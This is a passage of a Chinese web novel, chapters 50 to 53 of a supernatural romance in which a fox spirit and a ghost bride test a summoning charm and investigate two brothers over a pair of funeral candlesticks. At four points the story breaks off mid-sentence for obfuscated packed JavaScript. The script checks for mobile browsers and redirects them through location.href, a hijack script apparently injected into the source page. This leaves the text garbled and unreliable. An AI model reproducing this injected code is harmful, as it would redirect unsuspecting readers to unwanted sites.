姬悬月急切道：“可你根本不知道他的目的，如果他是想害死你，该怎么办？” 林疏就眨眨眼，睫毛弯出一个微笑的弧度，道：“我是天狐，百毒不侵刀枪不入，他们想害我，可不一定能成功。” 姬悬月蹙眉，不肯让步：“万一呢？” 林疏一哂：“富贵险中求嘛。再说了，我还有你呀。” “……”姬悬月的表情瞬间变得不自然了，“我没有实体，能帮你什么？” 林疏笑眯眯道：“就是没有实体才好呢，你不想试试自由行动的感觉吗？这样，我和穆迎秋约时间，我一个人去，如果有事的话我再召唤你，神不知鬼不觉。” 姬悬月马上道：“不对，我没有实体，应该陪你一起去才是神不知鬼不觉。” 林疏马上否定了他：“他们有什么手段目前我们还不知道，如果你我一起出现，他们又恰好能看见你，那不是给人一网打尽的机会？还是分头行动，里应外合。实在不敌，你还可以去帮我找林聆。” “……”姬悬月见他坚持，也只得同意，“那我们要不要先试试召唤？万一到时候发现有什么必须的步骤和限制，就糟了。” 于是林疏当场做了实验，他把姬悬月推出家门，然后把房门一锁，摊在沙发上，在心中默默念咒。 结果下一秒中，他面前一黑，被高大男人结实的胸肌闷住了脸。 姬悬月几乎一瞬间就出现在了他身前，两人之间差点就负距离了，简直呼吸可闻。 林疏：“……” 姬悬月：“……” 林聆你做的什么法器！！！ 这不是火上浇油吗！！！ 姬悬月很快后退半步，红着脸道：“挺……挺好用的，不知道对距离有没有什么要求。” 林疏双颊发烫：“……那个，明天，我去上班，你就随便逛逛，中午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883399|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午休的时候我召唤你试试吧。” 姬悬月道：“好。” 于是一狐一鬼各怀鬼胎，一个爬上床，一个瘫在沙发上，都不敢再跟对方多说半个字。 …… 数日以来，林疏头一次空着手走进办公室。 手腕上没有缚灵索，身后也没有熟悉的红色身影，玻璃杯也束之高阁了。 林疏难免不适应，有些寂寞，但更多的是逃避之后的心虚。 他不知道要怎么面对姬悬月才好。 一上午的工作并没能让林疏静下心来，他甚至抽空出了一趟外勤，去拜访宋玉。 但宋玉家没人，任林疏怎么敲门，里面也没动静。 电话号码——无人接听。 要么是陈璧兰逃走的事果然是打草惊蛇了，这个养了金蚕蛊的家伙已经捐款逃逸。 要么是……抵押日期结束，这家人终于被扫地出门了。 总之林疏没有能联系到宋玉，连苏穗城家的门他也敲不开了，不同的是苏穗城和妻子的电话至少是可以拨打的，但响铃一声后就会被刮掉。 回到灵调局后，他瘫在办公桌上发呆。 快到十一点时，他开始隔十分钟就看一眼手机。 本来打算午休的时候去买一部手机，再办个副卡给姬悬月用的。 中午怎么还不到…… 好不容易，十一点半到了，林疏松了口气，一边默默念咒召唤姬悬月，一边觉得一上午的焦虑都一扫而空。 ……原来看不见姬悬月他竟然会焦虑吗？ 咒语落地的一瞬间，一身黑衣的姬悬月出现在林疏身前，他手中捏着一杯冰淇淋，稍微有点化了，像是已经等了一会儿。 “……”林疏愣了一下，“你哪来的钱买冰淇淋？” 姬悬月将冰淇淋递给林疏：“店老板说，我在门口再多站半小时，他就再给我一个。” 林疏：“……” 被当免费广告牌了，不过这个冰店老板也真会做生意。 “恢复自由的第一天，没去别的地方逛逛？就在冰淇淋店门口一直站着？”林疏拍拍他胸口的实体符咒，舔了口熟悉的香草奶油味，顿时幸福地眯起眼睛。 姬悬月含着笑看着他，道：“也逛了很久，在商场里看到快到十一点了，就拿着冰淇淋开始找地方等你了。” 林疏道：“被召唤的时候什么感觉？有感觉到时空被撕裂吗？” 姬悬月不太懂什么叫时空撕裂，他摇摇头道：“没什么感觉，就是眼前花了一下，就到这里了。” 两人一同走出办公室，林疏边走边吃冰淇淋，道：“今天下午你也不必陪我在这里坐牢，出去随便玩吧，到时候走后门出去，别叫人发现。” 姬悬月说好。 于是午饭后，林疏鬼鬼祟祟送姬悬月到灵调局大楼的侧门，又给了他几张实体符咒和一张百元大钞：“下午逛完，自己回家，我就不乱召唤打扰你了。” 姬悬月点点头接过那一叠纸，突然问道：“穆迎秋和你约了哪天？” 林疏啊了一声，才想起这事：“我没看他发了什么。” 姬悬月嘴角不自觉勾起。 林疏打开手机，翻了翻微信，道：“他说这周五晚上。” 姬悬月道：“后天晚上？” 林疏点头。 51. 第 51 章 姬悬月垂眸沉思，正想说什么，林疏已经笑道：“今天中午来不及了，下午下班后带你去买手机，然后你就有自己的赛博墓碑可以玩啦。” 姬悬月却正色道：“周五晚上我还是陪你一起去吧。” 林疏认真道：“不，你在外头等我消息，如果我需要你的话，会直接召唤你的。召唤你的咒语不需要直接念出来，我只需在心里默念就可以，所以不会有问题的。” 姬悬月还想说点什么，但他也知道改变不了林疏的决定，只好应承下来。 林疏就转身回灵调局继续上班了。 下午他去了一趟灵协办，把宋玉家和苏穗城家死活不开门的事说了，以此为由，想跟林聆申请一张可以用术法破门调查的搜查令。 大概下午三点，搜查令签发下来了，林疏便带着搜查令去了宋玉家。 进屋后一看，果然人去楼空了。 林疏叹了口气，原地点燃一张“溯灵”，却发现干干净净，毫无痕迹。 这当然不对劲，理论上来说，至少溯灵能发现林疏曾在这里用过“窃听符”。 这证明，这间房子在人去楼空前，曾经有人用特殊手法抹去了所有术法痕迹。 他再用特殊搜查令成功闯入了苏穗城的家里，就发现，苏穗城和妻子，居然已经完全不记得“旗袍老太”和她相关的案情！ 不光抹去了痕迹，还抹去了记忆！ 这是什么手段？是天狐吗？ 背后的人到底是谁？ 马不停蹄回到灵调局后，林疏整理了一份文字报告交给了林聆，并提出了关于“记忆”的疑问。 林聆匆匆看完报告，蹙眉道：“能确认苏穗城一家没有说谎吗？” 林疏道：“通过我的观察，他们身上没有说谎事特有的微表情，小孩也没有，我觉得不是说谎。” 林聆道：“能抹除人记忆的法术也不是没有，只是没有天狐的幻术层次深，稍有不慎还是会想起来的。我会让技术部门想办法监视这一家人。至于你之前送来的报告——” 他翻了翻桌角的资料，道：“你觉得他们的目标是你，我倒是觉得，他们针对的另有其人。接下来，你从这件案子里抽身，把后续交给其他部门。我倒要看看那些人的目标到底是谁。” 得到了下一步指令，林疏总算放心下来，回到办公室摊在椅子上发呆摸鱼。 晚上下班后，林疏去办了一张副卡，然后一狠心，升级了套餐，获得移通公司赠送的手机一部。 ……虽然型号过时，颜值一言难尽，但是个货真价实的智能机呢！ 回到家后，林疏将崭新的手机上好卡递给姬悬月：“恭喜你，拥有了新时代人类最重要的设备之——赛博墓碑！” 姬悬月两眼放光，接过了这跨时代的伟大发明。 然后林疏手把手教姬悬月下载了一大堆软件，慈祥地看着姬悬月沉迷玩手机。 果然没有人能逃脱手机的诱惑。 第二天林疏照常去上班，还特意问姬悬月要不要实体符，要不要出去玩。 “不去了不去了，”姬悬月头也不抬，“今天我一定要通关！” 林疏：“……” 终究只是个十八岁的孩子而已。 ……希望这孩子不要学会往游戏里充钱。 不然……就更更更养不起了！ 到达灵调局后，林疏照常去处理案件。 今天送来的案子都是走近科学，林疏跑腿出了两趟外勤，回来时已经是下午了。 正上着楼，手机在口袋里震动。林疏一边擦汗一边掏出来，发现是姬悬月。 “怎么了？”他接起电话问道。 “没什么事，就是告诉你一声，我要出去一趟，不知道多久能回来，如果你下班我没在家，不要担心。”姬悬月道。 林疏便笑了：“好，知道了，你别玩太晚。” “回来的时候给你带好吃的。”姬悬月温和道。 挂了电话后，林疏继续上楼，迎面看见小纪正往下走。他刚要打招呼，就发现小纪像看到鬼一样。 “怎么了？”林疏茫然。 小纪道：“你……笑得有点吓人。” 林疏：“啊？” 小纪道：“你笑得像那个发春的狐狸。” 林疏：“……” 林疏冷哼一声，面无表情地走了。 他才不会承认，他只是听到了姬悬月的声音就笑得连自己笑了都不知道！太丢脸了！ 下班后，林疏晃晃当当骑着车子回家，本以为家中无人，但开门后，就看见姬悬月站在沙发前，正在换衣服。 林疏：“……” 姬悬月脱上衣脱到一半，听见开门声顿了一下，但还是坚持脱下来了。 林疏红着脸走进来，努力不去看姬悬月赤|果果的上半身，道：“回来得很早呀……” 姬悬月道：“买了些好吃的，怕化了，就赶着回来了。” 林疏正好绕到他背后，就偷偷摸摸抬起了眼皮—— 姬悬月上半身裸着，下半身只穿着一条黑色的运动裤，抽绳似乎是解开的，裤腰松松挂在他胯上，显得腰窄窄的，背肌性感，人鱼线非常明显。 如他所料，那丝带余下的部分极长，顺着姬悬月后颈处的绳结垂了下来。 贴着脊骨，一路垂落到姬悬月的腰窝，衬得肤色更加冷白。 ……也让他背部那道被贯穿的黑色伤口更加触目惊心。 一看到那个伤口，林疏心中所有绮念瞬间转为了心疼。 他不由自主走过去，拦住姬悬月正要穿上对襟红袄的动作：“等等。” 姬悬月眨眨眼睛：“怎么了？” 林疏的手指隔空点在那狰狞伤口上：“这道伤口，是那烛台所刺？” 姬悬月点点头：“是。” 林疏下意识道：“还会疼吗？” 姬悬月摇头：“不疼，也不会流血了。” 林疏默默，想伸手摸一下，指尖却还是缩了回去。 姬悬月却突然握住他的手指。 林疏一惊，正想挣脱，手指已经被姬悬月握着，轻轻贴在了那伤口上。 “这里面是我的心脏。”姬悬月低声道，“它已经不会跳了，但我并不觉得空。” 林疏就觉得掌心之下……冰凉的厉鬼的身体，却仿佛有什么炽热的东西正在喷涌出来。 他匆匆收回手，逃避地转移话题道：“如果你见到那对烛台，能认出哪一架是刺进你心脏的那个吗？” 姬悬月笑了笑，诚实道：“我不知道，不记得了。” 林疏短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883400|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂地深吸一口气：“我会解决这件事的。” 明天晚上，他就要去赴约。届时，他会用上所有能用的符咒，在躲避穆迎秋视线的情况下，对那对烛台使用“溯灵”！ 但当务之急—— 林疏转身跑走，然后迅速打开某个橙色软件，一边吃姬悬月买回来的冰点，一边挑挑拣拣，下单了三套男士家居服。 如今的姬悬月，染着雾霾灰的发色，系着那样性感的choker，怎能再穿那身破破烂烂的新娘装！！！ 最后，林疏买了一套普通睡衣，一套奶白珊瑚绒睡衣，和一套他私心非常想看姬悬月穿的背心短裤。一共是三百多块，林疏虽然肉痛，但也非常爽快地点了付款。 没办法……养鬼新娘是这样的，不行，他一定要好好工作！等忙完了这一圈，他是得去赚点外快了……还想看姬悬月穿机车装！还想看姬悬月穿…… 咳咳。 林疏关掉手机，双掌缓缓抬起又落下，感受了一番内腑充盈的灵气，然后来到桌案边，开始画符。 明天有场硬仗要打——穆迎秋的“约会”近在眼前，他可不能再意乱情迷了。 画符画到灵力枯竭，林疏终于成功备齐了明天要用的符咒。 隐身符、定身符、溯灵符……一切可能用到的用不到的，都准备了好多张。 林疏松了口气，收起一桌子乱七八糟，起身去洗漱睡觉。 深黑夜里，林疏抱着被子睡得人事不知。 姬悬月无声走到床边，蹲下来去看林疏的脸。 看林疏的鼻子，看林疏的睫毛，看林疏的阖着的眼睛。 看林疏因呼吸而起伏的单薄身躯。看林疏搁在枕边的手指，看林疏轻抿着的、温润的嘴唇。 姬悬月摸了摸脖子上约一指宽的黑色丝带，那是他的枷锁，也是他无声而浓烈的渴望。 他抚摸它，仿佛它连接着他和林疏的命运一般。 …… 周五从来过得很慢。 但林疏临到阵前，却不觉得紧张了。 他用一上午的时间解决了堆积的案件，然后调用了一些局内的文献，开始潜心研究玄学。 ……当年跟顾煜城学道法的时候他都没这么认真过。 既然在心底承认喜欢姬悬月，他就要更努力才行。 原来……血孽的成因不止先天和后天，其中还细分为很多种。譬如鲨人和杀动物的孽力还不一样。 原来各个国家、各种教派的术法，其实源自同根，即世界法则。 这让林疏想起了那件“置换”的案子。正想去找林聆商讨一二，才出办公室，就听见有同事边说八卦便迎面走来。 看见林疏后，他还眼睛一亮：“哎！小林，刚说到你就碰见了，你师父回来啦！” 林疏：“……” 转身就回到办公室并关上了门。 ……师父和师娘小别胜新婚他怎能去打扰呢！ （……自古哪有徒弟不怕师父的呢！！！） 办公室里，林疏眼珠转了转，啧了一声，立刻开始提前收拾办公室的东西。 下班时间到！林疏一溜烟窜出办公室，顺着楼梯跑了。 …… 鹤城知名和式餐厅“川庭料理”门口，林疏下了出租车，挠了挠头。 52. 第 52 章 穆迎秋给的地址是这里，林疏打开手机准备确认一下包房号码，就看见姬悬月给他发的消息：“随时召唤” 林疏无声地笑了笑，收起手机，进了餐厅。 这是一家人均消费接近四位数的日料店，以林疏的经济水平，平时是连这家店所在的街都不会走过来的。 人生的际遇还真是奇妙……林疏心想，自己接触这些东西怎么都是通过反派？但凡再贵一点，他来这里吃饭的奢侈行为就要被灵调局全局通报批评了。 走过弥漫香气的回廊，林疏跟着侍者来到了穆迎秋订的包房门口。 进门后，林疏怔了一下，他居然在包房里看到了两个人。 外侧的穆迎秋眉开眼笑道：“林疏来啦，快坐。来，我给你介绍，这是我哥，穆迎松。” 林疏礼貌地朝那陌生男人点了下头：“穆先生你好。” “不必见外。”男人微微一笑，随手拧了一下领带结，“你跟迎秋是朋友，也就是我的朋友，快坐吧。” 林疏知道自己被涮了，这两兄弟一定憋了什么坏。他当场开始打退堂鼓，但袖子里一堆符咒又给了他一些底气，他也想知道，这兄弟二人到底想干什么？ 林疏落座后，穆迎秋开始吩咐上菜，而穆迎松和林疏则互相打量。 穆迎松和穆迎秋的气质完全不同，他五官和穆迎秋有几分相似，只稍微粗放一些，但也是深邃英俊的长相。 不过他肩膀极宽，用流行词汇说就是典型的“双开门冰箱”。 他的装束也与穆迎秋风格不同——他穿着一身非常合体的定制西装，领带上别着一枚镶嵌三颗蓝宝石的领带夹，手腕上戴了一块看似非常朴素商务的手表。 但林疏依稀记得那块手表的价格恐怕在七位数。 穆迎松拿起桌上的茶喝了一口，然后朝林疏举了举杯：“他家的茶味道还可以，林先生可以尝尝。” 林疏笑了笑，这茶水是他来之前就倒好的，他可不敢随便喝，就只举起杯子稍微沾了沾唇，随口敷衍道：“是不错。” 然后他就发现，穆迎松始终在打量他。 林疏相貌优越，早习惯了被人看来看去，但目光直白成这样的，林疏还是第一次见。 尴尬倒也没多尴尬，林疏只是觉得不舒服，就用不冷不热的眼神看了回去。 穆迎松：“……” 似乎终于察觉自己一直盯着人家不礼貌，穆迎松垂眸，欣赏自己的腕表。 林疏默默松开了袖子里捏紧符纸的手。 但片刻后，穆迎松突然道：“那烛台是我让阿秋去拿的。林先生，我很好奇，你为什么要找这个东西呢？” 如此开门见山？倒也痛快。林疏放下杯子，微笑着抬眸与穆迎松对视：“不知道迎秋有没有告诉过穆先生，我是灵调局的特派天师，博物馆烛台失窃案，是我当时在查的案子。” “哦……”穆迎松露出了然神色，“我是听迎秋说过，博物馆闹了个乌龙，以为是失窃了，但傅馆长说过，案子已经撤回了。” “是我的疏漏，”林疏迎着他的目光，不卑不亢，“报案被撤回后我的确又去过一次，也曾说过，那架烛台关系到另外一桩案子，所以我格外上心些，希望能够再看一眼那烛台。” “是什么案子？”穆迎松问道。 林疏一笑：“恕我不能相告，这是灵调局机密。” “不说出原因，我们便不好把东西借给你看，”穆迎松也笑了，“但没关系，如果林先生真的想看，我可以改日拿来给你。” 林疏便知道，自己确实被涮了，这两兄弟今天根本没带烛台过来。 包房的纸门外，菜已经备齐，一样一样送了上来。 林疏看着琳琅满目的料理，却觉得浑身不爽。 他起身道：“既然今天你们没有带烛台来，那我就先走了，本来也只是打算看一眼，没打算留下来吃饭。你们慢用。” “林先生别急呀，”穆迎松马上道，“本来阿秋是打算直接带来的，但我刚回国，还没见过林先生，觉得不好直接把传家宝给陌生人看，所以先来认识一下林先生。” 林疏礼貌道：“既然如此，传家宝还是好好收着的好，轻易不该给外人看，穆先生做得很对。” 穆迎松听了这话反而笑了：“话不是这么说。林先生，如果你有一件稀世珍宝，你也会像我一样的。” 林疏点头：“我很理解。” 穆迎秋今天几乎没有说什么有用的话，看到林疏真的要走了，他才有些着急，赶忙道：“小疏你别生气，我哥就是这样一个人，他做生意久了人也古板，都不知道如何与别人相处。你别走了吧，走了可就是真生气了。” 林疏笑道：“哪里话，穆先生说的都在情理之中，我是非常理解的。” 穆迎秋马上道：“那你留下来，至少吃完饭再走，不然多不给我们面子。” 林疏礼貌道：“这家店消费太高，我们灵调局是不允许在这种高档饭店消费的，留饭还是免了，下次有机会请你们吃鹤城的本帮菜。” 穆迎秋笑道：“什么高档？这里不贵的，只是朋友吃饭，没人会举报你。你坐下来，咱们聊聊我们穆家吧，其实说什么传家宝？那两个烛台其实另有用途。” 钩直饵咸，话说到这个地步，林疏只得也重新坐下了。 穆迎秋开始招呼他尝尝这个喝点那个。 虽然林疏闻着都没什么问题，却不敢真吃，就假装稍微尝了一些，实则都没有入口。 “不知道另有用途，是什么用途？”林疏懒得拐弯抹角了。 穆迎秋就看了他哥一眼，见穆迎松没有反对，才小声道：“关系到我们祖上一位非常有名的老祖宗，他的婚事。” “哦？”林疏把耳朵竖了起来。 穆迎秋道：“上次不是跟你说过，我家有个族谱，里面写着各位祖宗的生平——这对烛台是一位名叫穆绍棠的祖先成亲那晚，用来插龙凤花烛的烛台。” 林疏不动声色，埋头装作吃菜。 穆迎秋道：“可叹那位祖宗其实并没有留下子嗣，他夫人早逝，而他没有续娶，也一辈子没生过孩子，死后还是用这对烛台做了陪葬。” 林疏：“……” 等等，穆绍棠用烛台做陪葬？ 用杀死自己妻子的烛台做陪葬……这是什么道理？ 而且妻子还成了血孽厉鬼……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883401|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林疏心中疑虑，但没有表现出来，也没多问。 穆迎秋似乎也只知道这些，说到这里，感慨了一番，就开始说那对烛台的文物价值。 这些林疏都不太感兴趣，正想找个借口尿遁，穆迎松却先起身，说等会儿有个在线会议要失陪，先走了。 并在走之前加了林疏的微信。 他走后，穆迎秋骤然松了口气，抱怨道：“有我哥在的地方，简直吃饭也吃不好。” 林疏就笑，但心底一点也没有放松下来。 穆迎松居然走了，这顿饭的目的反而更扑朔迷离了。 穆迎秋道：“他看那些老物件看得很紧，但其实，我并不希望他把那两个东西带走。” 林疏问道：“为何？” 穆迎秋的神色有些淡倦：“刚才说了那么多文物价值，是因为有人要收购。他要是带走了，就拿回不来了。他的国籍已经改成意大利籍，所以只能托我回来讨要烛台，老馆长视我们为故人之子，可我却骗了他，这和走私文物又有什么区别呢？” 林疏一哂，他倒是没想过这家伙会立爱国人设。 穆迎秋叹了口气，道：“不提了，这牛舌不错，你尝尝。” 林疏夹起来看了看，状似无意地问道：“我觉得我应该是没机会看到那对烛台了。如果不方便的话就算了，我也不是非看不可。” 穆迎秋马上赔笑道：“没有的事，本来今天就该拿来，但我哥突然回国，他眼皮子底下我不好动那个箱子，他虽然看着凶，但也是通情达理的人，不会不同意的。” 林疏笑道：“既然他都那么说了，必然是非常宝贝这对烛台，我再强求就没眼色了，好像我觊觎你们的宝贝一样。我还是先走吧。” 穆迎秋马上道：“小疏别急呀，好饭不怕晚，我说过会给你看，就一定会给你。这顿饭不便宜，好歹吃完再走。” 林疏道：“其实在普通的小店里吃一顿饭也可以，这里的人均消费太高了，我还发微信问你为什么来这里，你都没回我。” 穆迎秋笑道：“还不是因为我哥，他觉得对灵调局的人不能怠慢，所以精心安排的这一桌。你也知道，我对国内很多东西都不熟悉，到现在也不知道微信的提示音怎么打开呢。” 两人又闲聊了些没营养的话题，一顿饭就算结束了。 穆迎秋去前台结账，林疏在门口张望。趁着穆迎秋在付钱，他迅速将一张符拍在穆迎秋坐过的位置，待符纸上的字符由黑色变成金色后，将其塞回了袖子里。 然后礼貌与穆迎秋道别。 离开包间后，他的狐狸耳朵无意中听到了这顿饭的报价：四千二。 林疏一个趔趄，他的胃不配！！！ 托着昂贵的胃回到家后，林疏在屋里转了一圈——姬悬月不在。 他去哪儿了？ 林疏犹豫片刻，使用了那条choker的能力，感应到姬悬月还在鹤城境内，离家不算远。 林疏不知道他在干嘛，也不好直接拉人回来，想去找，又不知道会不会打扰他。 说起来，鹤城最近恐怕要变天，林疏隐约记得有推送说一个台风在东南沿海登陆了，全国气象都在变。 53. 第 53 章 ……西南的鹤城自然不会受到台风直接影响，但大规模的降雨是有的。 而且这座城市一下起雨来还算美丽，青石砖瓦的建筑在雨中会变得像江南一样烟雨蒙蒙。 如果雨不大的话，可以带姬悬月去古镇的景点走一走。到时候再买几身汉服给姬悬月穿…… 林疏一边胡思乱想，一边换上了外出的鞋。 还是出去找找吧，直接拉人怪尴尬的。 ……等等。 林疏突然感应到姬悬月移动到了离家很近的地方，速度怎么这么快！ ……不过也对，厉鬼又没有物理法则的限制，理论上讲，只要姬悬月胆子够大，他甚至可以用媲美高铁的速度来移动。 啊不对不对，重点不是这个，重点是姬悬月要回来了啊！ 林疏马上踢开鞋子瘫回沙发上装作玩手机的样子。 果然，片刻后门响了。 林疏马上支起上身，看向门口，就见姬悬月戴着副半框眼镜，拎着一袋水果回来了。 “……”林疏被半框眼镜的姬悬月帅到了，有些不敢看他的脸：“你……眼镜哪来的？” 姬悬月却站在门口道：“你为什么没有召唤我？” 林疏硬着头皮去看他的脸，努力做出理直气壮的模样：“……因为我没遇到什么特殊情况，而且我怕你在外面玩得正开心，我无缘无故拉你也太不礼貌。你还没回答我呢，在哪里买的眼镜？” 姬悬月便道：“眼镜店老板送的，他还给我拍了几张照片，说会做成海报，然后给了我三百块。” 林疏：“……” 放姬悬月出去祸害人是他错了！ 姬悬月却偏偏完全没有意识到自己的杀伤力，他走到沙发边蹲下，一张绝色面孔凑近林疏，有些不高兴地道：“我只是随便逛逛，都没怎么跟人说话，实体符也只用了一张，就等着你拉我。以后，只要你想，就直接召唤我，好吗？” 林疏有些不敢看他的眼睛，只胡乱点头。 姬悬月便又补充了一句：“什么时候都可以。” 他声音低沉，又离林疏很近很近，林疏只觉得脸更热了，只能小声说好。 姬悬月的眸光从平光镜片后面缓缓落在林疏脸上，欣赏小狐狸脸红到脖子根的模样，欣赏够了，才起身，去把水果放进冰箱。 林疏将脸埋进沙发，觉得这实在不正常！实在不正常！ 后来姬悬月换好了衣服，林疏才从沙发里把鸵鸟头拔出来，正色道：“我今天见到了穆迎秋的哥哥，穆迎松。” 姬悬月一边系新娘装的盘扣，一边问道：“正想问你，今天具体情况如何？” 林疏便大略形容了一番今晚的见闻，姬悬月听了，蹙眉道：“他们不就是拿着两个破烛台在钓你？” 林疏笑道：“是啊，钩直饵咸，可我不得不上钩。” 姬悬月道：“依我看，不要再跟这两个姓穆的打交道。” 林疏无奈道：“我猜穆迎松过几天还会找我，在这之前，我要去探一下穆迎秋的底。如果他们还把我当傻子，我不介意掀桌子。” 姬悬月道：“那我要一起去。” 林疏道：“暂且用不上你，如果我有需要，会召唤你的。” 姬悬月道：“然后又说用不着，对吗？” 林疏便抬头看他的眼睛。 姬悬月脸上带着笑，眼睛里却没有一丝笑意。 林疏张张口，不知道该说什么。 姬悬月却叹了口气，道：“烛台终究是我的事，林疏，你帮我查这件事，却拒绝我的帮助，你这样我会很难过。” 他很少这样连名带姓叫林疏的名字，林疏听了这话，心中顿时七上八下起来。 姬悬月道：“烛台与我的死有关，也即与当年我如何成为血孽厉鬼有关，对方很有可能是能制造出六千杀孽却能全身而退的大凶大恶之徒，你难道真的要让我置身事外吗？” 林疏默默低下了头，他就是知道对方目标是姬悬月，才不肯让姬悬月过多参与的。 因为眼下穆家两兄弟好像并不知道姬悬月的真实身份，不知道姬悬月是穆羽，也不晓得姬悬月的长相。所以是姬悬月在暗处，他们在明处。 但林疏真的很害怕。 怕那些人知道姬悬月的存在后，会想办法去伤害他、利用他。 可是姬悬月又这样说…… 林疏只得叹了口气，道：“那好吧，挑个好日子，咱们一起去看看穆迎秋。” 姬悬月总算松了口气，笑了：“你说吧，怎么看？” 林疏跃跃欲试道：“择日不如撞日，就今晚，趁着月黑风高，咱们去找他麻烦！” 姬悬月：“……” 总觉得哪里不对。 于是当晚，一狐一鬼，狐狐祟祟，爬到了鹤城最高建筑——白鹤吐珠电视塔的塔顶。 林疏破天荒把他懒散披在肩头的道袍穿得端端正正，还戴上了绣着阴阳八卦的帽子。 他的道袍形制和颜色，都与国内已有的道门服饰都不太一样，是透着淡淡青色的烟灰，粗看就像青色道袍洗掉色的样子，不阴不阳的，并不好看。 当然，穿在林疏身上还是显得很像一回事的，主要是林疏那张脸比较有欺骗性，看起来仙气飘飘，眉目间似有一股灵气氤氲着。 姬悬月飘在林疏身后，看着他闭目流畅地以掌心淡绿狐火作笔锋，于虚空中划下繁复的法阵。 天狐淡绿色的灵力凝结在空中，构成散发淡淡光华的符咒，而符咒正中间，林疏嵌进去了一枚符纸—— 正是日料店里，林疏趁着穆迎秋去结账的时候，按在他座位上的那枚。 这枚符咒的作用就是吸附某人留在环境中的“痕迹”，譬如汗液的气味、打嗝时排出的气体、说话时从嘴里喷出的唾液……之类的。 古老道术中有过拿对方的头发进行寻物、卜卦，甚至作法害人的，这枚符，就是在无法取得对方的头发或者贴身之物的时候，可以代为吸收对方气息——其实是旁门左道的东西。 但他师娘林聆曾说过，道法只是工具，只要使用它的人心怀善念，哪怕是禁术也可以随意使用。 当然，这一看法与顾煜城相悖，所以当着师父的面，林疏从来不敢乱用这些歪门邪道。 灵气构成的符咒吸纳了中央符纸上的气息，慢慢闪烁着，逐渐变成了一束淡绿色的流光。 林疏深吸一口气，出掌迅疾如电，迅速将那道流光截住，合在掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883402|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心，片刻后，流光变回一缕狐火，在他掌心跳跃。 姬悬月想问，接下来该如何，林疏却骤然露出一个淡淡的微笑，他转身对姬悬月眨了一下右眼，然后笑着，突然向后一倒！ 他整个人朝白鹤塔下方坠去！ 姬悬月：“！” 他赶紧伸手去抓林疏，可无限深黑夜色里，林疏周身突然爆出大团的狐火，裹挟着他坠落，然后……升空！！！ 姬悬月赶紧飘飞着追上去，就见狐火裹着林疏朝城郊一个方向飞去…… 姬悬月已经认出，那个方向，是穆家老宅！ 林疏也以为狐火会指引自己去穆家老宅，但没想到，追着追着，狐火朝着一个方向拐了过去。 林疏：“？” 茫茫深夜，淡绿狐火如流星坠地，将林疏带到了一家高级会所的门口。 林疏啧了一声。 他身后，姬悬月落地，与他并肩站着：“这是什么地方？” 林疏遗憾道：“你我进不去的地方。” 姬悬月道：“我也进不去吗？” 林疏看了看鬼新娘，倒是点了点头：“你说不定能进去，但你恐怕很难找到穆迎秋和穆迎松的位置，就算找到，也没办法做什么。” 姬悬月：“为何？” 林疏道：“这是一家私人会所，且不说安保工作会做得非常非常严密，里面一定会布有风水局。如果你不小心被风水局困住……以我的半吊子风水术，恐怕没办法救你出来。” 姬悬月道：“那难道就这样放弃吗？” 林疏却摇摇头，道：“我还有一个想法。或许，我们可以去穆迎松的梦里逛一圈。” 姬悬月奇道：“他的梦我们可以随便进吗？” 林疏的脸顿时垮下来，道：“啊啊啊，很难，首先他要梦到我们，其次，在他的梦里，我有什么能力全靠他的想象——如果他想象中的我是个肌无力患者，就会十分危险。” “……”姬悬月道，“看来还是不要随便冒险的好。依我看，就算他们有什么阴谋，我们不接招，他们也不能把我们怎么样。” 林疏道：“好说，今天先回家。反正穆迎秋或穆迎松也不一定会梦见我，等他梦到了，我们再去他梦里看一圈也不迟。” 姬悬月点点头，两人便肩并肩往回走。 “说起来，你刚才是不是飞起来了？”姬悬月问道，“你会飞？” 林疏哼哼唧唧：“只有用狐火做追踪法术的时候，勉强可以飞一下。平时的话，用狐火飞起来是要交罚款的——灵调局不允许神仙妖魔随便动用特殊力量，万一被人看见了，不好善后。” 姬悬月点点头：“原来如此。可是，在民国那次……” 